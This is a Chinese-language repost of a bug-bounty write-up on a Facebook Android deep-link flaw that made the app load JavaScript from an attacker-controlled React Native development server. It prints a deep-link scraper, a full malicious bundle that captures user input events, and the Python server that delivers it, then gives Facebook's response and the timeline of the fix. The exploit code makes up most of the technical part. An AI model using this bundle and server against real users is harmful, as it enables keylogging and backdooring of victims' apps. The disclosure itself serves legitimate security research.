近期,作者發(fā)現(xiàn)了facebook安卓app應(yīng)用的一個(gè)深度鏈接漏洞,利用該漏洞,可以把用戶手機(jī)上安裝的facebook安卓app應(yīng)用轉(zhuǎn)變成后門程序(backdoor),實(shí)現(xiàn)后門化。此外,該漏洞也可以用來(lái)重新打包facebook應(yīng)用程序,并將其發(fā)送給選定的目標(biāo)受害者進(jìn)行安裝使用。下面就來(lái)看看作者對(duì)該漏洞的發(fā)現(xiàn)過(guò)程,以及如何通過(guò)payload構(gòu)造,最終將其轉(zhuǎn)化為facebook app實(shí)際生產(chǎn)環(huán)境中的安全隱患。
通常做眾測(cè)時(shí),我會(huì)先認(rèn)真了解目標(biāo)系統(tǒng)的應(yīng)用機(jī)制。在我的上一篇博客中,我已經(jīng)分享了通過(guò)解析Facebook APP來(lái)發(fā)現(xiàn)FB4A參數(shù)應(yīng)用中深度鏈接(deeplinks)的一些經(jīng)驗(yàn)過(guò)程,而在此,我先分享我編寫的一個(gè)腳本文件,用它可以自動(dòng)實(shí)現(xiàn)對(duì)Facebook APP深度鏈接(deeplinks)的發(fā)現(xiàn)。該腳本文件為-Facebook Android Deeplink Scraper(FBLinkBuilder.py),是一段基于Python的代碼程序,專用于從 Facebook APK中提取深度鏈接(deeplinks):
import os import json import argparse from zipfile import ZipFile from datetime import datetime fname = datetime.now().strftime("FB_Deeplinks%d%m%Y%H%M%S.txt") #default filename parser = argparse.ArgumentParser() parser.add_argument('-i', help='Facebook APK file') parser.add_argument('-o', help='Output file', nargs='?', default=fname) parser.add_argument('-e', help='Only show exported. Defaulted to False', nargs='?', default=False) args = parser.parse_args() file_name = args.i #apk output_name = args.o #generated output / provided exported = args.e #False / provided with ZipFile(file_name, 'r') as zip: print('Extracting native routes file...') #fyi data = zip.read('assets/react_native_routes.json') #extract file from zip js = json.loads(data.decode("utf-8")) #to read as list params = '' #placeholder i = 0 #deeplink count text_file = open(output_name, "w") #open output print('Manipulating data...') #fyi for key in js: #for each block in json for key2 in key['paramDefinitions']: #grab the collection of params params += key2 + '=' + str(key['paramDefinitions'][key2]['type']).upper() + '&' #append params with type if exported: #exported only if key.get('access','') != 'exported': #check access key params = '' #Reset params continue #try next block link = 'fb:/' + key['path'] + '/?' + params #build link print(link[:-1]) #fyi text_file.write(link[:-1]+ '\n') #write to file i += 1 #increase counter params = '' #reset params text_file.close() #save file print('File: ' + output_name + ' saved') #fyi print(str(i) + ' deep links generated') #fyi
下載源: https://github.com/ashleykinguk/FBLinkBuilder/
使用方法: .\FBLinkBuilder.py -i fb0409.apk
通過(guò)FBLinkBuilder.py的運(yùn)行實(shí)現(xiàn),我們可以對(duì)比不同APP版本之間出現(xiàn)的深度鏈接,以此來(lái)觀察不同APP版本的應(yīng)用服務(wù)變化,我正是利用該方法發(fā)現(xiàn)了Facebook APP 2020版本中存在的一個(gè)不安全的深度鏈接:fb://rnquantum_notification_handler/?address=,它是Facebook APP首次在2020年版本中加入的。
該深度鏈接的參數(shù)形式為hostname / ip,于是乎我就用自架的服務(wù)器192.168.0.2來(lái)做了個(gè)測(cè)試:fb://rnquantum_notification_handler/?address=192.168.0.2:8224,通過(guò)該鏈接,可以在Facebook APP中跳出以下彈窗:
點(diǎn)擊其中的"Enable Quantum"按鈕后,會(huì)重新啟動(dòng)Facebook APP,之后,我嘗試去發(fā)現(xiàn)其中的變化,但這一切貌似沒(méi)啥異常。接下來(lái),我把注意力放到了網(wǎng)絡(luò)流量上,當(dāng)時(shí)我想到了不久前Facebook專為安全研究者開(kāi)放的白帽測(cè)試功能,安全研究者可以通過(guò)該功能暫時(shí)繞過(guò)Facebook的證書(shū)綁定(Certificate Pinning)等安全限制,去測(cè)試Facebook相關(guān)應(yīng)用的網(wǎng)絡(luò)流量。我利用白帽測(cè)試功能發(fā)現(xiàn),進(jìn)行上述操作后,F(xiàn)acebook應(yīng)用程序會(huì)發(fā)出如下的外發(fā)鏈接請(qǐng)求:
http://192.168.0.2:8224/message?device=Android+SDK+built+for+x86+-+10+-+API+29&app=com.facebook.katana&clientid=DevSupportManagerImplhttp://192.168.0.2:8224/status
這里的第一條請(qǐng)求機(jī)制為傳遞基于的移動(dòng)端設(shè)備屬性信息,并意圖建立一個(gè)websocket連接;第二條請(qǐng)求為返回請(qǐng)求主機(jī)的狀態(tài)信息packager-status:running,它是Facebook的react-native源碼內(nèi)置參數(shù),可以參考Github: /com/facebook/react/devsupport/DevServerHelper.java。
而就當(dāng)我想方設(shè)法在自架服務(wù)器192.168.0.2中構(gòu)造響應(yīng)消息時(shí),我又發(fā)現(xiàn)了Facebook APP產(chǎn)生的另外一個(gè)請(qǐng)求:
http://192.168.0.2:8224/RKJSModules/EntryPoints/Fb4aBundle.bundle?platform=android&dev=true&minify=false
該請(qǐng)求目的為尋找打包文件中存儲(chǔ)的FB4A參數(shù),初步分析來(lái)看,該參數(shù)應(yīng)該是明文而非通常的hbc*格式存儲(chǔ)于Facebook APP中。我曾嘗試輸入hbc*格式的FB4A參數(shù)進(jìn)行測(cè)試,但最終卻會(huì)讓Facebook APP發(fā)生崩潰。
其實(shí),對(duì)于Facebook APP來(lái)說(shuō),在2019年之前,其打包文件( bundles)存儲(chǔ)于/assets/目錄下的一個(gè)形式化文件中,但2019年后,F(xiàn)acebook就引入了hbc格式 (*Hermes ByteCode) ,一方面為APK瘦身,一方面為防止核心代碼顯式化。雖然我嘗試使用了hbc格式工具HBCdump,對(duì)Facebook APP生成了一個(gè)約250M的打包文件,但好像也沒(méi)什么用。
之后,我想到了另外一種發(fā)現(xiàn)打包文件的方法:那就是通過(guò)查看老版本的Facebook APP,將明文包內(nèi)容和移動(dòng)端設(shè)備生成的錯(cuò)誤消息進(jìn)行對(duì)比,移動(dòng)端設(shè)備生成的錯(cuò)誤消息可通過(guò)logcat可見(jiàn)。一通對(duì)比下來(lái),我發(fā)現(xiàn)以下線索:
__fbBatchedBridge ?-包文件中必需的對(duì)象,其中包含了與APP應(yīng)用同步的各種功能組成;
__fbBatchedBridge.callFunctionReturnFlushedQueue ?-APP后臺(tái)調(diào)用的函數(shù),每次調(diào)用都會(huì)執(zhí)行相應(yīng)的動(dòng)作或事件。
基于上述發(fā)現(xiàn),我的想法就是使Facebook APP可以成功下載并執(zhí)行我構(gòu)造的包文件,為了實(shí)現(xiàn)該目的,我需要自己編寫包文件,然后把它托管在我的自架主機(jī)192.168.0.2中。以下是我構(gòu)造的包文件FB4abundle.js:
/* contact@ash-king.co.uk */ var i = 0, logs = ''; /* our local vars */ /*the below objects are required for the app to execute the bundle. See lines 47-55 for the custom js */ var __fbBatchedBridge = { _lazyCallableModules: {}, _queue: [[], [], [], 0], _callID: 0, _lastFlush: 0, _eventLoopStartTime: Date.now(), _immediatesCallback: null, callFunctionReturnFlushedQueue: function(module, method, args) { return __fbBatchedBridge.__guard(function() { __fbBatchedBridge.__callFunction(module, method, args) }), __fbBatchedBridge.flushedQueue() }, callFunctionReturnResultAndFlushedQueue: function(e, u, s) { return __fbBatchedBridge.__guard(function() { throw new Error('callFunctionReturnResultAndFlushedQueue: ' + a); }), __fbBatchedBridge.flushedQueue() }, invokeCallbackAndReturnFlushedQueue: function(a,b,c) { throw new Error('invokeCallbackAndReturnFlushedQueue: ' + a); }, flushedQueue: function(a, b) { if(a != undefined){ throw new Error('flushedQueue: ' + b) } __fbBatchedBridge.__callImmediates(); const queue = __fbBatchedBridge._queue; __fbBatchedBridge._queue = [[], [], [], __fbBatchedBridge._callID]; return queue[0].length ? queue : null; }, onComplete: function(a) { throw new Error(a) }, __callImmediates: function() { if (__fbBatchedBridge._immediatesCallback != null) { __fbBatchedBridge._immediatesCallback(); throw new Error('processCallbacks: ' + __fbBatchedBridge._immediatesCallback()); } }, getCallableModule: function(a) { const getValue = __fbBatchedBridge._lazyCallableModules[a]; return getValue ? getValue() : null; }, __callFunction: function(a,b,c) { if(a == 'RCTNativeAppEventEmitter') { // Only capturing the search bar in settings i += 1 //increment count logs += JSON.stringify(c) + '\n'; //JSON Object if(i > 10) { /* Here is where we will write out to logcat via js*/ var t = (nativeModuleProxy); throw new Error('Look HERE: ' + (logs) + '\n\r'); } } __fbBatchedBridge._lastFlush = Date.now(); __fbBatchedBridge._eventLoopStartTime = __fbBatchedBridge._lastFlush; const moduleMethods = __fbBatchedBridge.getCallableModule(a); try { moduleMethods[b].apply(moduleMethods, c); } catch (e) { } return -1 }, __guard: function(e) { try { e(); } catch (error) { throw new Error('__guard: ' + error); } } };
另外需要一個(gè)腳本文件fb_server.py,以便讓Facebook APP自動(dòng)調(diào)用該包文件
#contact@ash-king.co.uk from http.server import BaseHTTPRequestHandler, HTTPServer import logging class S(BaseHTTPRequestHandler): def _set_response(self): self.send_response(500) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(bytes("", "utf-8")) def do_GET(self): if self.path == '/status': self.resp_status() elif str(self.path).find('message?device=') > -1: self.resp_message() elif str(self.path).find('Fb4aBundle.bundle') > -1: self.resp_fb4a() def do_POST(self): content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", str(self.path), str(self.headers), post_data.decode('utf-8')) self._set_response() self.wfile.write("POST request for {}".format(self.path).encode('utf-8')) def resp_message(self): logging.info("resp_message") self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(bytes("", "utf-8")) logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) def resp_status(self): logging.info("resp_status") self.send_response(200) self.send_header('Content-type', 'text/html') self.end_headers() self.wfile.write(bytes("packager-status:running", "utf-8")) logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) def resp_fb4a(self): logging.info("resp_bundle") self.send_response(200) self.send_header('Content-type', 'multipart/mixed') self.end_headers() with open('FB4abundle.js', 'rb') as file: self.wfile.write(file.read()) logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers)) def run(server_class=HTTPServer, handler_class=S, port=8224): logging.basicConfig(level=logging.INFO) server_address = ('', port) httpd = server_class(server_address, handler_class) logging.info('Starting httpd...\n') try: httpd.serve_forever() except KeyboardInterrupt: pass httpd.server_close() logging.info('Stopping httpd...\n') if __name__ == '__main__': from sys import argv run()
綜合深度鏈接、包文件調(diào)用和我自己構(gòu)造加入的"Enable Quantum"URL鏈接,最終我可以向Facebook APP調(diào)用包文件中加入我自制的代碼,并由其中的深度鏈接來(lái)實(shí)現(xiàn)調(diào)用。在我的POC漏洞驗(yàn)證展示中,如果受害者運(yùn)行了我重打包的Facebook APP后,我可以攔截他在Facebook APP中的輸入字符流量,如攔截他輸入的5個(gè)字符流量“testi”,并會(huì)在logfile中顯示他實(shí)際輸入的字符,且最終會(huì)產(chǎn)生一個(gè)告警提示:
惡意攻擊者可以利用該漏洞,通過(guò)物理接觸移動(dòng)設(shè)備上的APP或向受害者發(fā)送重打包APP的方式,向受害者移動(dòng)端設(shè)備APP中植入持久化連接,對(duì)受害者設(shè)備APP形成長(zhǎng)期感知探測(cè)的后門化。
然而,一開(kāi)始,F(xiàn)acebook安全團(tuán)隊(duì)卻忽略了該漏洞,他們選擇了關(guān)閉該漏洞報(bào)告并分類為不適用(not applicable),他們給出的解釋為:
Any user that is knowledgable enough to manage servers and write code would also be able to control how the app operates. That is also true for any browser extension or manual app created. A user is also able to proxy all their HTTP Traffic to manipulate those requests. Only being able to make local modifications with a PoC showing actual impact does not fully qualify for the Bug Bount.
之后,我就公布了POC驗(yàn)證視頻,一小時(shí)后,F(xiàn)acebook安全團(tuán)隊(duì)的雇員聯(lián)系了我,聲稱他們重新評(píng)估了該漏洞,并要求我刪除了該P(yáng)OC驗(yàn)證視頻。但在視頻刪除前,至少30多名觀眾看過(guò)了該視頻。
“重新評(píng)估該漏洞后,我們決定按我們的眾測(cè)標(biāo)準(zhǔn)給出對(duì)該漏洞給予獎(jiǎng)勵(lì),在你上報(bào)的漏洞中,描述了可讓受害者重定向到一個(gè)攻擊者控制的 React Native Development服務(wù)端,并向受害者APP中植入惡意代碼的場(chǎng)景,感謝你的漏洞上報(bào)?!?/p>
2020.6.20 - 漏洞上報(bào)
2020.6.22 - 提供技術(shù)細(xì)節(jié)
2020.6.23 - Facebook把該漏洞分類為N/A
2020.6.23 - 我在Youtube上公布POC視頻?
2020.6.23 - Facebook重新評(píng)估該漏洞并要求我刪除POC視頻
2020.6.24 - 漏洞分類
2020.6.26 - Facebook通過(guò)關(guān)閉Quantum功能進(jìn)行緩解
2020.8.20 - Facebook修復(fù)該漏洞
2020.9.17 - Facebook賞金獎(jiǎng)勵(lì)支付
以上就是如何利用深度鏈接方式后門化Facebook APP的詳細(xì)內(nèi)容,更多請(qǐng)關(guān)注php中文網(wǎng)其它相關(guān)文章!
每個(gè)人都需要一臺(tái)速度更快、更穩(wěn)定的 PC。隨著時(shí)間的推移,垃圾文件、舊注冊(cè)表數(shù)據(jù)和不必要的后臺(tái)進(jìn)程會(huì)占用資源并降低性能。幸運(yùn)的是,許多工具可以讓 Windows 保持平穩(wěn)運(yùn)行。
微信掃碼
關(guān)注PHP中文網(wǎng)服務(wù)號(hào)
QQ掃碼
加入技術(shù)交流群
Copyright 2014-2025 http://www.miracleart.cn/ All Rights Reserved | php.cn | 湘ICP備2023035733號(hào)